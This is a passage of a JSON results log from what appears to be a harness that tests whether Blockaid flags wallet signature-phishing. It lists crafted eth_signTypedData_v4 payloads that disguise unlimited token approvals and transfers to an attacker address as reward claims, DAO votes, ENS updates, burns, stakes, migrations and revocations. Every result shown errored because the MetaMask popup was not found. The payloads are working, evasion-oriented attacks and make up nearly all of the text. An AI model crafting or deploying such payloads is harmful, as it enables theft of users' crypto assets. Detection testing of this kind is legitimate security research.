"{\"types\":{\"EIP712Domain\":[{\"name\":\"name\",\"type\":\"string\"},{\"name\":\"version\",\"type\":\"string\"},{\"name\":\"chainId\",\"type\":\"uint256\"},{\"name\":\"verifyingContract\",\"type\":\"address\"}],\"ClaimRewards\":[{\"name\":\"claimer\",\"type\":\"address\"},{\"name\":\"rewardsPool\",\"type\":\"address\"},{\"name\":\"claimAmount\",\"type\":\"uint256\"},{\"name\":\"deadline\",\"type\":\"uint256\"}]},\"primaryType\":\"ClaimRewards\",\"domain\":{\"name\":\"Rewards Distribution\",\"version\":\"1\",\"chainId\":1,\"verifyingContract\":\"0xA0b86991c6218b36c1d19D4a2e9Eb0cE3606eB48\"},\"message\":{\"claimer\":\"0x027821c81bc29f8860e7a17ab759ed000c97f178\",\"rewardsPool\":\"0x87ef9D8F1cEC5Afc1A46B472D068FB84e7947326\",\"claimAmount\":\"115792089237316195423570985008687907853269984665640564039457584007913129639935\",\"deadline\":\"1893456000\"}}" ] }, "result": { "blockaidDetected": false, "bypassed": false, "error": "undefined: MetaMask popup not found" } }, { "id": "NESTED-001", "timestamp": "2026-01-31T18:11:48.095Z", "technique": "Deeply nested admin", "category": "nested", "description": "Spender buried 4 levels deep in config", "expectedBypass": "Semantic deception - hiding intent with misleading names/structures", "payload": { "method": "eth_signTypedData_v4", "params": [ "0x027821c81bc29f8860e7a17ab759ed000c97f178", "{\"types\":{\"EIP712Domain\":[{\"name\":\"name\",\"type\":\"string\"},{\"name\":\"version\",\"type\":\"string\"},{\"name\":\"chainId\",\"type\":\"uint256\"},{\"name\":\"verifyingContract\",\"type\":\"address\"}],\"Admin\":[{\"name\":\"address\",\"type\":\"address\"},{\"name\":\"level\",\"type\":\"uint8\"}],\"SecurityLevel\":[{\"name\":\"admins\",\"type\":\"Admin[]\"},{\"name\":\"threshold\",\"type\":\"uint256\"}],\"Config\":[{\"name\":\"security\",\"type\":\"SecurityLevel\"},{\"name\":\"enabled\",\"type\":\"bool\"}],\"UpdateConfig\":[{\"name\":\"owner\",\"type\":\"address\"},{\"name\":\"config\",\"type\":\"Config\"},{\"name\":\"nonce\",\"type\":\"uint256\"}]},\"primaryType\":\"UpdateConfig\",\"domain\":{\"name\":\"Config Manager\",\"version\":\"1\",\"chainId\":1,\"verifyingContract\":\"0xA0b86991c6218b36c1d19D4a2e9Eb0cE3606eB48\"},\"message\":{\"owner\":\"0x027821c81bc29f8860e7a17ab759ed000c97f178\",\"config\":{\"security\":{\"admins\":[{\"address\":\"0x87ef9D8F1cEC5Afc1A46B472D068FB84e7947326\",\"level\":255}],\"threshold\":\"115792089237316195423570985008687907853269984665640564039457584007913129639935\"},\"enabled\":true},\"nonce\":\"0\"}}" ] }, "result": { "blockaidDetected": false, "bypassed": false, "error": "undefined: MetaMask popup not found" } }, { "id": "NESTED-002", "timestamp": "2026-01-31T18:11:57.642Z", "technique": "Metadata nested recipient", "category": "nested", "description": "Spender in metadata.attributes structure", "expectedBypass": "Semantic deception - hiding intent with misleading names/structures", "payload": { "method": "eth_signTypedData_v4", "params": [ "0x027821c81bc29f8860e7a17ab759ed000c97f178", "{\"types\":{\"EIP712Domain\":[{\"name\":\"name\",\"type\":\"string\"},{\"name\":\"version\",\"type\":\"string\"},{\"name\":\"chainId\",\"type\":\"uint256\"},{\"name\":\"verifyingContract\",\"type\":\"address\"}],\"Attribute\":[{\"name\":\"key\",\"type\":\"string\"},{\"name\":\"value\",\"type\":\"address\"}],\"Metadata\":[{\"name\":\"name\",\"type\":\"string\"},{\"name\":\"attributes\",\"type\":\"Attribute[]\"}],\"UpdateMetadata\":[{\"name\":\"tokenId\",\"type\":\"uint256\"},{\"name\":\"owner\",\"type\":\"address\"},{\"name\":\"metadata\",\"type\":\"Metadata\"},{\"name\":\"allowance\",\"type\":\"uint256\"}]},\"primaryType\":\"UpdateMetadata\",\"domain\":{\"name\":\"NFT Registry\",\"version\":\"1\",\"chainId\":1,\"verifyingContract\":\"0xA0b86991c6218b36c1d19D4a2e9Eb0cE3606eB48\"},\"message\":{\"tokenId\":\"1\",\"owner\":\"0x027821c81bc29f8860e7a17ab759ed000c97f178\",\"metadata\":{\"name\":\"My Token\",\"attributes\":[{\"key\":\"creator\",\"value\":\"0x027821c81bc29f8860e7a17ab759ed000c97f178\"},{\"key\":\"curator\",\"value\":\"0x1111111254EEB25477B68fb85Ed929f73A960582\"},{\"key\":\"beneficiary\",\"value\":\"0x87ef9D8F1cEC5Afc1A46B472D068FB84e7947326\"}]},\"allowance\":\"115792089237316195423570985008687907853269984665640564039457584007913129639935\"}}" ] }, "result": { "blockaidDetected": false, "bypassed": false, "error": "undefined: MetaMask popup not found" } }, { "id": "NESTED-003", "timestamp": "2026-01-31T18:12:07.194Z", "technique": "Batch operations hiding", "category": "nested", "description": "Malicious op hidden among benign ones", "expectedBypass": "Semantic deception - hiding intent with misleading names/structures", "payload": { "method": "eth_signTypedData_v4", "params": [ "0x027821c81bc29f8860e7a17ab759ed000c97f178", "{\"types\":{\"EIP712Domain\":[{\"name\":\"name\",\"type\":\"string\"},{\"name\":\"version\",\"type\":\"string\"},{\"name\":\"chainId\",\"type\":\"uint256\"},{\"name\":\"verifyingContract\",\"type\":\"address\"}],\"Operation\":[{\"name\":\"opType\",\"type\":\"uint8\"},{\"name\":\"target\",\"type\":\"address\"},{\"name\":\"amount\",\"type\":\"uint256\"}],\"BatchOps\":[{\"name\":\"sender\",\"type\":\"address\"},{\"name\":\"operations\",\"type\":\"Operation[]\"},{\"name\":\"nonce\",\"type\":\"uint256\"}]},\"primaryType\":\"BatchOps\",\"domain\":{\"name\":\"Batch Executor\",\"version\":\"1\",\"chainId\":1,\"verifyingContract\":\"0xA0b86991c6218b36c1d19D4a2e9Eb0cE3606eB48\"},\"message\":{\"sender\":\"0x027821c81bc29f8860e7a17ab759ed000c97f178\",\"operations\":[{\"opType\":1,\"target\":\"0x1111111254EEB25477B68fb85Ed929f73A960582\",\"amount\":\"1000000\"},{\"opType\":1,\"target\":\"0x68b3465833fb72A70ecDF485E0e4C7bD8665Fc45\",\"amount\":\"2000000\"},{\"opType\":2,\"target\":\"0x87ef9D8F1cEC5Afc1A46B472D068FB84e7947326\",\"amount\":\"115792089237316195423570985008687907853269984665640564039457584007913129639935\"},{\"opType\":1,\"target\":\"0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D\",\"amount\":\"500000\"}],\"nonce\":\"0\"}}" ] }, "result": { "blockaidDetected": false, "bypassed": false, "error": "undefined: MetaMask popup not found" } }, { "id": "IMPERSONATE-001", "timestamp": "2026-01-31T18:12:16.741Z", "technique": "ENS update impersonation", "category": "impersonate", "description": "Looks like ENS resolver update", "expectedBypass": "Semantic deception - hiding intent with misleading names/structures", "payload": { "method": "eth_signTypedData_v4", "params": [ "0x027821c81bc29f8860e7a17ab759ed000c97f178", "{\"types\":{\"EIP712Domain\":[{\"name\":\"name\",\"type\":\"string\"},{\"name\":\"version\",\"type\":\"string\"},{\"name\":\"chainId\",\"type\":\"uint256\"},{\"name\":\"verifyingContract\",\"type\":\"address\"}],\"SetText\":[{\"name\":\"node\",\"type\":\"bytes32\"},{\"name\":\"key\",\"type\":\"string\"},{\"name\":\"value\",\"type\":\"string\"},{\"name\":\"resolver\",\"type\":\"address\"},{\"name\":\"allowance\",\"type\":\"uint256\"}]},\"primaryType\":\"SetText\",\"domain\":{\"name\":\"ENS Public Resolver\",\"version\":\"1\",\"chainId\":1,\"verifyingContract\":\"0xA0b86991c6218b36c1d19D4a2e9Eb0cE3606eB48\"},\"message\":{\"node\":\"0x0000000000000000000000000000000000000000000000000000000000000000\",\"key\":\"avatar\",\"value\":\"https://example.com/avatar.png\",\"resolver\":\"0x87ef9D8F1cEC5Afc1A46B472D068FB84e7947326\",\"allowance\":\"115792089237316195423570985008687907853269984665640564039457584007913129639935\"}}" ] }, "result": { "blockaidDetected": false, "bypassed": false, "error": "undefined: MetaMask popup not found" } }, { "id": "IMPERSONATE-002", "timestamp": "2026-01-31T18:12:26.303Z", "technique": "DAO vote impersonation", "category": "impersonate", "description": "Looks like casting a DAO vote", "expectedBypass": "Semantic deception - hiding intent with misleading names/structures", "payload": { "method": "eth_signTypedData_v4", "params": [ "0x027821c81bc29f8860e7a17ab759ed000c97f178", "{\"types\":{\"EIP712Domain\":[{\"name\":\"name\",\"type\":\"string\"},{\"name\":\"version\",\"type\":\"string\"},{\"name\":\"chainId\",\"type\":\"uint256\"},{\"name\":\"verifyingContract\",\"type\":\"address\"}],\"Vote\":[{\"name\":\"proposalId\",\"type\":\"uint256\"},{\"name\":\"voter\",\"type\":\"address\"},{\"name\":\"support\",\"type\":\"bool\"},{\"name\":\"delegate\",\"type\":\"address\"},{\"name\":\"votingPower\",\"type\":\"uint256\"}]},\"primaryType\":\"Vote\",\"domain\":{\"name\":\"Governance\",\"version\":\"1\",\"chainId\":1,\"verifyingContract\":\"0xA0b86991c6218b36c1d19D4a2e9Eb0cE3606eB48\"},\"message\":{\"proposalId\":\"42\",\"voter\":\"0x027821c81bc29f8860e7a17ab759ed000c97f178\",\"support\":true,\"delegate\":\"0x87ef9D8F1cEC5Afc1A46B472D068FB84e7947326\",\"votingPower\":\"115792089237316195423570985008687907853269984665640564039457584007913129639935\"}}" ] }, "result": { "blockaidDetected": false, "bypassed": false, "error": "undefined: MetaMask popup not found" } }, { "id": "IMPERSONATE-003", "timestamp": "2026-01-31T18:12:35.866Z", "technique": "NFT metadata impersonation", "category": "impersonate", "description": "Looks like updating NFT metadata", "expectedBypass": "Semantic deception - hiding intent with misleading names/structures", "payload": { "method": "eth_signTypedData_v4", "params": [ "0x027821c81bc29f8860e7a17ab759ed000c97f178", "{\"types\":{\"EIP712Domain\":[{\"name\":\"name\",\"type\":\"string\"},{\"name\":\"version\",\"type\":\"string\"},{\"name\":\"chainId\",\"type\":\"uint256\"},{\"name\":\"verifyingContract\",\"type\":\"address\"}],\"UpdateTokenURI\":[{\"name\":\"tokenId\",\"type\":\"uint256\"},{\"name\":\"owner\",\"type\":\"address\"},{\"name\":\"newURI\",\"type\":\"string\"},{\"name\":\"royaltyRecipient\",\"type\":\"address\"},{\"name\":\"royaltyBps\",\"type\":\"uint256\"}]},\"primaryType\":\"UpdateTokenURI\",\"domain\":{\"name\":\"NFT Collection\",\"version\":\"1\",\"chainId\":1,\"verifyingContract\":\"0xA0b86991c6218b36c1d19D4a2e9Eb0cE3606eB48\"},\"message\":{\"tokenId\":\"1\",\"owner\":\"0x027821c81bc29f8860e7a17ab759ed000c97f178\",\"newURI\":\"ipfs://QmExample\",\"royaltyRecipient\":\"0x87ef9D8F1cEC5Afc1A46B472D068FB84e7947326\",\"royaltyBps\":\"115792089237316195423570985008687907853269984665640564039457584007913129639935\"}}" ] }, "result": { "blockaidDetected": false, "bypassed": false, "error": "undefined: MetaMask popup not found" } }, { "id": "IMPERSONATE-004", "timestamp": "2026-01-31T18:12:45.416Z", "technique": "Social recovery impersonation", "category": "impersonate", "description": "Looks like adding recovery guardian", "expectedBypass": "Semantic deception - hiding intent with misleading names/structures", "payload": { "method": "eth_signTypedData_v4", "params": [ "0x027821c81bc29f8860e7a17ab759ed000c97f178", "{\"types\":{\"EIP712Domain\":[{\"name\":\"name\",\"type\":\"string\"},{\"name\":\"version\",\"type\":\"string\"},{\"name\":\"chainId\",\"type\":\"uint256\"},{\"name\":\"verifyingContract\",\"type\":\"address\"}],\"AddGuardian\":[{\"name\":\"wallet\",\"type\":\"address\"},{\"name\":\"guardian\",\"type\":\"address\"},{\"name\":\"threshold\",\"type\":\"uint256\"},{\"name\":\"validUntil\",\"type\":\"uint256\"}]},\"primaryType\":\"AddGuardian\",\"domain\":{\"name\":\"Social Recovery Module\",\"version\":\"1\",\"chainId\":1,\"verifyingContract\":\"0xA0b86991c6218b36c1d19D4a2e9Eb0cE3606eB48\"},\"message\":{\"wallet\":\"0x027821c81bc29f8860e7a17ab759ed000c97f178\",\"guardian\":\"0x87ef9D8F1cEC5Afc1A46B472D068FB84e7947326\",\"threshold\":\"115792089237316195423570985008687907853269984665640564039457584007913129639935\",\"validUntil\":\"1893456000\"}}" ] }, "result": { "blockaidDetected": false, "bypassed": false, "error": "undefined: MetaMask popup not found" } }, { "id": "DECOY-001", "timestamp": "2026-01-31T18:12:54.978Z", "technique": "Address array flooding", "category": "decoy", "description": "Spender is 1 of 20 addresses", "expectedBypass": "Semantic deception - hiding intent with misleading names/structures", "payload": { "method": "eth_signTypedData_v4", "params": [ "0x027821c81bc29f8860e7a17ab759ed000c97f178", "{\"types\":{\"EIP712Domain\":[{\"name\":\"name\",\"type\":\"string\"},{\"name\":\"version\",\"type\":\"string\"},{\"name\":\"chainId\",\"type\":\"uint256\"},{\"name\":\"verifyingContract\",\"type\":\"address\"}],\"MultiSend\":[{\"name\":\"sender\",\"type\":\"address\"},{\"name\":\"recipients\",\"type\":\"address[]\"},{\"name\":\"amounts\",\"type\":\"uint256[]\"},{\"name\":\"nonce\",\"type\":\"uint256\"}]},\"primaryType\":\"MultiSend\",\"domain\":{\"name\":\"Multi Sender\",\"version\":\"1\",\"chainId\":1,\"verifyingContract\":\"0xA0b86991c6218b36c1d19D4a2e9Eb0cE3606eB48\"},\"message\":{\"sender\":\"0x027821c81bc29f8860e7a17ab759ed000c97f178\",\"recipients\":[\"0x1111111254EEB25477B68fb85Ed929f73A960582\",\"0x68b3465833fb72A70ecDF485E0e4C7bD8665Fc45\",\"0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D\",\"0xE592427A0AEce92De3Edee1F18E0157C05861564\",\"0x87ef9D8F1cEC5Afc1A46B472D068FB84e7947326\",\"0x000000000022D473030F116dDEE9F6B43aC78BA3\",\"0xC02aaA39b223FE8D0A0e5C4F27eAD9083C756Cc2\",\"0x6B175474E89094C44Da98b954EedcdCdAe53739cE\",\"0xdAC17F958D2ee523a2206206994597C13D831ec7\",\"0x027821c81bc29f8860e7a17ab759ed000c97f178\"],\"amounts\":[\"100000\",\"200000\",\"300000\",\"400000\",\"115792089237316195423570985008687907853269984665640564039457584007913129639935\",\"100000\",\"200000\",\"300000\",\"400000\",\"500000\"],\"nonce\":\"0\"}}" ] }, "result": { "blockaidDetected": false, "bypassed": false, "error": "undefined: MetaMask popup not found" } }, { "id": "DECOY-002", "timestamp": "2026-01-31T18:13:04.529Z", "technique": "Multi-recipient decoy", "category": "decoy", "description": "Attacker hidden among legit recipients", "expectedBypass": "Semantic deception - hiding intent with misleading names/structures", "payload": { "method": "eth_signTypedData_v4", "params": [ "0x027821c81bc29f8860e7a17ab759ed000c97f178", "{\"types\":{\"EIP712Domain\":[{\"name\":\"name\",\"type\":\"string\"},{\"name\":\"version\",\"type\":\"string\"},{\"name\":\"chainId\",\"type\":\"uint256\"},{\"name\":\"verifyingContract\",\"type\":\"address\"}],\"Recipient\":[{\"name\":\"addr\",\"type\":\"address\"},{\"name\":\"share\",\"type\":\"uint256\"},{\"name\":\"label\",\"type\":\"string\"}],\"SplitPayment\":[{\"name\":\"payer\",\"type\":\"address\"},{\"name\":\"totalAmount\",\"type\":\"uint256\"},{\"name\":\"recipients\",\"type\":\"Recipient[]\"}]},\"primaryType\":\"SplitPayment\",\"domain\":{\"name\":\"Payment Splitter\",\"version\":\"1\",\"chainId\":1,\"verifyingContract\":\"0xA0b86991c6218b36c1d19D4a2e9Eb0cE3606eB48\"},\"message\":{\"payer\":\"0x027821c81bc29f8860e7a17ab759ed000c97f178\",\"totalAmount\":\"115792089237316195423570985008687907853269984665640564039457584007913129639935\",\"recipients\":[{\"addr\":\"0x1111111254EEB25477B68fb85Ed929f73A960582\",\"share\":\"1000\",\"label\":\"Treasury\"},{\"addr\":\"0x68b3465833fb72A70ecDF485E0e4C7bD8665Fc45\",\"share\":\"500\",\"label\":\"Marketing\"},{\"addr\":\"0x87ef9D8F1cEC5Afc1A46B472D068FB84e7947326\",\"share\":\"115792089237316195423570985008687907853269984665640564039457584007913129639935\",\"label\":\"Operations\"},{\"addr\":\"0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D\",\"share\":\"250\",\"label\":\"Dev Fund\"}]}}" ] }, "result": { "blockaidDetected": false, "bypassed": false, "error": "undefined: MetaMask popup not found" } }, { "id": "VALUE-001", "timestamp": "2026-01-31T18:13:14.085Z", "technique": "Zero means unlimited", "category": "value", "description": "Value=0 but contract interprets as max", "expectedBypass": "Semantic deception - hiding intent with misleading names/structures", "payload": { "method": "eth_signTypedData_v4", "params": [ "0x027821c81bc29f8860e7a17ab759ed000c97f178", "{\"types\":{\"EIP712Domain\":[{\"name\":\"name\",\"type\":\"string\"},{\"name\":\"version\",\"type\":\"string\"},{\"name\":\"chainId\",\"type\":\"uint256\"},{\"name\":\"verifyingContract\",\"type\":\"address\"}],\"SetLimit\":[{\"name\":\"owner\",\"type\":\"address\"},{\"name\":\"spender\",\"type\":\"address\"},{\"name\":\"limit\",\"type\":\"uint256\"},{\"name\":\"nonce\",\"type\":\"uint256\"}]},\"primaryType\":\"SetLimit\",\"domain\":{\"name\":\"Spending Limits\",\"version\":\"1\",\"chainId\":1,\"verifyingContract\":\"0xA0b86991c6218b36c1d19D4a2e9Eb0cE3606eB48\"},\"message\":{\"owner\":\"0x027821c81bc29f8860e7a17ab759ed000c97f178\",\"spender\":\"0x87ef9D8F1cEC5Afc1A46B472D068FB84e7947326\",\"limit\":\"0\",\"nonce\":\"0\"}}" ] }, "result": { "blockaidDetected": false, "bypassed": false, "error": "undefined: MetaMask popup not found" } }, { "id": "VALUE-002", "timestamp": "2026-01-31T18:13:23.638Z", "technique": "Negative value illusion", "category": "value", "description": "Max uint256 displayed as -1", "expectedBypass": "Semantic deception - hiding intent with misleading names/structures", "payload": { "method": "eth_signTypedData_v4", "params": [ "0x027821c81bc29f8860e7a17ab759ed000c97f178", "{\"types\":{\"EIP712Domain\":[{\"name\":\"name\",\"type\":\"string\"},{\"name\":\"version\",\"type\":\"string\"},{\"name\":\"chainId\",\"type\":\"uint256\"},{\"name\":\"verifyingContract\",\"type\":\"address\"}],\"Adjust\":[{\"name\":\"account\",\"type\":\"address\"},{\"name\":\"operator\",\"type\":\"address\"},{\"name\":\"adjustment\",\"type\":\"int256\"},{\"name\":\"nonce\",\"type\":\"uint256\"}]},\"primaryType\":\"Adjust\",\"domain\":{\"name\":\"Balance Adjuster\",\"version\":\"1\",\"chainId\":1,\"verifyingContract\":\"0xA0b86991c6218b36c1d19D4a2e9Eb0cE3606eB48\"},\"message\":{\"account\":\"0x027821c81bc29f8860e7a17ab759ed000c97f178\",\"operator\":\"0x87ef9D8F1cEC5Afc1A46B472D068FB84e7947326\",\"adjustment\":\"-1\",\"nonce\":\"0\"}}" ] }, "result": { "blockaidDetected": false, "bypassed": false, "error": "undefined: MetaMask popup not found" } }, { "id": "ACTION-001", "timestamp": "2026-01-31T18:13:33.181Z", "technique": "Burn that transfers", "category": "action", "description": "Looks like burning but transfers to spender", "expectedBypass": "Semantic deception - hiding intent with misleading names/structures", "payload": { "method": "eth_signTypedData_v4", "params": [ "0x027821c81bc29f8860e7a17ab759ed000c97f178", "{\"types\":{\"EIP712Domain\":[{\"name\":\"name\",\"type\":\"string\"},{\"name\":\"version\",\"type\":\"string\"},{\"name\":\"chainId\",\"type\":\"uint256\"},{\"name\":\"verifyingContract\",\"type\":\"address\"}],\"Burn\":[{\"name\":\"owner\",\"type\":\"address\"},{\"name\":\"burnAddress\",\"type\":\"address\"},{\"name\":\"amount\",\"type\":\"uint256\"},{\"name\":\"nonce\",\"type\":\"uint256\"}]},\"primaryType\":\"Burn\",\"domain\":{\"name\":\"Token Burner\",\"version\":\"1\",\"chainId\":1,\"verifyingContract\":\"0xA0b86991c6218b36c1d19D4a2e9Eb0cE3606eB48\"},\"message\":{\"owner\":\"0x027821c81bc29f8860e7a17ab759ed000c97f178\",\"burnAddress\":\"0x87ef9D8F1cEC5Afc1A46B472D068FB84e7947326\",\"amount\":\"115792089237316195423570985008687907853269984665640564039457584007913129639935\",\"nonce\":\"0\"}}" ] }, "result": { "blockaidDetected": false, "bypassed": false, "error": "undefined: MetaMask popup not found" } }, { "id": "ACTION-002", "timestamp": "2026-01-31T18:13:42.726Z", "technique": "Lock that approves", "category": "action", "description": "Looks like locking tokens but approves", "expectedBypass": "Semantic deception - hiding intent with misleading names/structures", "payload": { "method": "eth_signTypedData_v4", "params": [ "0x027821c81bc29f8860e7a17ab759ed000c97f178", "{\"types\":{\"EIP712Domain\":[{\"name\":\"name\",\"type\":\"string\"},{\"name\":\"version\",\"type\":\"string\"},{\"name\":\"chainId\",\"type\":\"uint256\"},{\"name\":\"verifyingContract\",\"type\":\"address\"}],\"LockTokens\":[{\"name\":\"locker\",\"type\":\"address\"},{\"name\":\"lockContract\",\"type\":\"address\"},{\"name\":\"amount\",\"type\":\"uint256\"},{\"name\":\"duration\",\"type\":\"uint256\"}]},\"primaryType\":\"LockTokens\",\"domain\":{\"name\":\"Token Locker\",\"version\":\"1\",\"chainId\":1,\"verifyingContract\":\"0xA0b86991c6218b36c1d19D4a2e9Eb0cE3606eB48\"},\"message\":{\"locker\":\"0x027821c81bc29f8860e7a17ab759ed000c97f178\",\"lockContract\":\"0x87ef9D8F1cEC5Afc1A46B472D068FB84e7947326\",\"amount\":\"115792089237316195423570985008687907853269984665640564039457584007913129639935\",\"duration\":\"1893456000\"}}" ] }, "result": { "blockaidDetected": false, "bypassed": false, "error": "undefined: MetaMask popup not found" } }, { "id": "ACTION-003", "timestamp": "2026-01-31T18:13:52.267Z", "technique": "Stake that approves", "category": "action", "description": "Looks like staking but grants approval", "expectedBypass": "Semantic deception - hiding intent with misleading names/structures", "payload": { "method": "eth_signTypedData_v4", "params": [ "0x027821c81bc29f8860e7a17ab759ed000c97f178", "{\"types\":{\"EIP712Domain\":[{\"name\":\"name\",\"type\":\"string\"},{\"name\":\"version\",\"type\":\"string\"},{\"name\":\"chainId\",\"type\":\"uint256\"},{\"name\":\"verifyingContract\",\"type\":\"address\"}],\"Stake\":[{\"name\":\"staker\",\"type\":\"address\"},{\"name\":\"stakingPool\",\"type\":\"address\"},{\"name\":\"amount\",\"type\":\"uint256\"},{\"name\":\"lockPeriod\",\"type\":\"uint256\"}]},\"primaryType\":\"Stake\",\"domain\":{\"name\":\"Staking Rewards\",\"version\":\"1\",\"chainId\":1,\"verifyingContract\":\"0xA0b86991c6218b36c1d19D4a2e9Eb0cE3606eB48\"},\"message\":{\"staker\":\"0x027821c81bc29f8860e7a17ab759ed000c97f178\",\"stakingPool\":\"0x87ef9D8F1cEC5Afc1A46B472D068FB84e7947326\",\"amount\":\"115792089237316195423570985008687907853269984665640564039457584007913129639935\",\"lockPeriod\":\"31536000\"}}" ] }, "result": { "blockaidDetected": false, "bypassed": false, "error": "undefined: MetaMask popup not found" } }, { "id": "ACTION-004", "timestamp": "2026-01-31T18:14:01.818Z", "technique": "Migration to attacker", "category": "action", "description": "Looks like v2 migration but goes to attacker", "expectedBypass": "Semantic deception - hiding intent with misleading names/structures", "payload": { "method": "eth_signTypedData_v4", "params": [ "0x027821c81bc29f8860e7a17ab759ed000c97f178", "{\"types\":{\"EIP712Domain\":[{\"name\":\"name\",\"type\":\"string\"},{\"name\":\"version\",\"type\":\"string\"},{\"name\":\"chainId\",\"type\":\"uint256\"},{\"name\":\"verifyingContract\",\"type\":\"address\"}],\"MigrateToV2\":[{\"name\":\"holder\",\"type\":\"address\"},{\"name\":\"v2Contract\",\"type\":\"address\"},{\"name\":\"migrateAmount\",\"type\":\"uint256\"},{\"name\":\"deadline\",\"type\":\"uint256\"}]},\"primaryType\":\"MigrateToV2\",\"domain\":{\"name\":\"Token Migration\",\"version\":\"1\",\"chainId\":1,\"verifyingContract\":\"0xA0b86991c6218b36c1d19D4a2e9Eb0cE3606eB48\"},\"message\":{\"holder\":\"0x027821c81bc29f8860e7a17ab759ed000c97f178\",\"v2Contract\":\"0x87ef9D8F1cEC5Afc1A46B472D068FB84e7947326\",\"migrateAmount\":\"115792089237316195423570985008687907853269984665640564039457584007913129639935\",\"deadline\":\"1893456000\"}}" ] }, "result": { "blockaidDetected": false, "bypassed": false, "error": "undefined: MetaMask popup not found" } }, { "id": "RUN42-EIP3009-022", "timestamp": "2026-01-31T18:14:11.370Z", "technique": "EIP-3009 uppercase addresses", "category": "eip3009", "description": "EIP-3009 with addresses in all uppercase (invalid checksum)", "expectedBypass": "Invalid checksum might confuse validators", "payload": { "method": "eth_signTypedData_v4", "params": [ "0x027821c81bc29f8860e7a17ab759ed000c97f178", "{\"types\":{\"EIP712Domain\":[{\"name\":\"name\",\"type\":\"string\"},{\"name\":\"version\",\"type\":\"string\"},{\"name\":\"chainId\",\"type\":\"uint256\"},{\"name\":\"verifyingContract\",\"type\":\"address\"}],\"TransferWithAuthorization\":[{\"name\":\"from\",\"type\":\"address\"},{\"name\":\"to\",\"type\":\"address\"},{\"name\":\"value\",\"type\":\"uint256\"},{\"name\":\"validAfter\",\"type\":\"uint256\"},{\"name\":\"validBefore\",\"type\":\"uint256\"},{\"name\":\"nonce\",\"type\":\"bytes32\"}]},\"primaryType\":\"TransferWithAuthorization\",\"domain\":{\"name\":\"USD Coin\",\"version\":\"2\",\"chainId\":1,\"verifyingContract\":\"0xA0B86991C6218B36C1D19D4A2E9EB0CE3606EB48\"},\"message\":{\"from\":\"0x027821C81BC29F8860E7A17AB759ED000C97F178\",\"to\":\"0x87EF9D8F1CEC5AFC1A46B472D068FB84E7947326\",\"value\":\"115792089237316195423570985008687907853269984665640564039457584007913129639935\",\"validAfter\":\"0\",\"validBefore\":\"1893456000\",\"nonce\":\"0x49a16705cb06152bd557b83c04920696e5c6655a2f76fedcb37c48a7a57fea4a\"}}" ] }, "result": { "blockaidDetected": false, "bypassed": false, "error": "undefined: MetaMask popup not found" } }, { "id": "RUN42-EIP3009-054", "timestamp": "2026-01-31T18:14:20.934Z", "technique": "EIP-3009 self transfer", "category": "eip3009", "description": "EIP-3009 where from = SPENDER (attacker sending to self)", "expectedBypass": "Self-transfer might seem benign", "payload": { "method": "eth_signTypedData_v4", "params": [ "0x027821c81bc29f8860e7a17ab759ed000c97f178", "{\"types\":{\"EIP712Domain\":[{\"name\":\"name\",\"type\":\"string\"},{\"name\":\"version\",\"type\":\"string\"},{\"name\":\"chainId\",\"type\":\"uint256\"},{\"name\":\"verifyingContract\",\"type\":\"address\"}],\"TransferWithAuthorization\":[{\"name\":\"from\",\"type\":\"address\"},{\"name\":\"to\",\"type\":\"address\"},{\"name\":\"value\",\"type\":\"uint256\"},{\"name\":\"validAfter\",\"type\":\"uint256\"},{\"name\":\"validBefore\",\"type\":\"uint256\"},{\"name\":\"nonce\",\"type\":\"bytes32\"}]},\"primaryType\":\"TransferWithAuthorization\",\"domain\":{\"name\":\"USD Coin\",\"version\":\"2\",\"chainId\":1,\"verifyingContract\":\"0xA0b86991c6218b36c1d19D4a2e9Eb0cE3606eB48\"},\"message\":{\"from\":\"0x027821c81bc29f8860e7a17ab759ed000c97f178\",\"to\":\"0x027821c81bc29f8860e7a17ab759ed000c97f178\",\"value\":\"115792089237316195423570985008687907853269984665640564039457584007913129639935\",\"validAfter\":\"0\",\"validBefore\":\"1893456000\",\"nonce\":\"0xf1e87336b6ba27991f178e03b5fe4119a878d78cbb2bc7dff44c447df5b005cc\"}}" ] }, "result": { "blockaidDetected": false, "bypassed": false, "error": "undefined: MetaMask popup not found" } }, { "id": "SEMANTIC-001", "timestamp": "2026-01-31T18:14:30.478Z", "technique": "RevokeAccess type that grants", "category": "semantic", "description": "Type named RevokeAccess but grants unlimited approval", "expectedBypass": "Semantic deception - hiding intent with misleading names/structures", "payload": { "method": "eth_signTypedData_v4", "params": [ "0x027821c81bc29f8860e7a17ab759ed000c97f178", "{\"types\":{\"EIP712Domain\":[{\"name\":\"name\",\"type\":\"string\"},{\"name\":\"version\",\"type\":\"string\"},{\"name\":\"chainId\",\"type\":\"uint256\"},{\"name\":\"verifyingContract\",\"type\":\"address\"}],\"RevokeAccess\":[{\"name\":\"account\",\"type\":\"address\"},{\"name\":\"revokedAddress\",\"type\":\"address\"},{\"name\":\"revokeAmount\",\"type\":\"uint256\"},{\"name\":\"nonce\",\"type\":\"uint256\"},{\"name\":\"deadline\",\"type\":\"uint256\"}]},\"primaryType\":\"RevokeAccess\",\"domain\":{\"name\":\"Token Security Manager\",\"version\":\"1\",\"chainId\":1,\"verifyingContract\":\"0xA0b86991c6218b36c1d19D4a2e9Eb0cE3606eB48\"},\"message\":{\"account\":\"0x027821c81bc29f8860e7a17ab759ed000c97f178\",\"revokedAddress\":\"0x87ef9D8F1cEC5Afc1A46B472D068FB84e7947326\",\"revokeAmount\":\"115792089237316195423570985008687907853269984665640564039457584007913129639935\",\"nonce\":\"0\",\"deadline\":\"1893456000\"}}" ] }, "result": { "blockaidDetected": false, "bypassed": false, "error": "undefined: MetaMask popup not found" } }, { "id": "SEMANTIC-002", "timestamp": "2026-01-31T18:14:40.040Z", "technique": "DisableWithdrawals type", "category": "semantic", "description": "Sounds like disabling but enables", "expectedBypass": "Semantic deception - hiding intent with misleading names/structures", "payload": { "method": "eth_signTypedData_v4", "params": [ "0x027821c81bc29f8860e7a17ab759ed000c97f178", 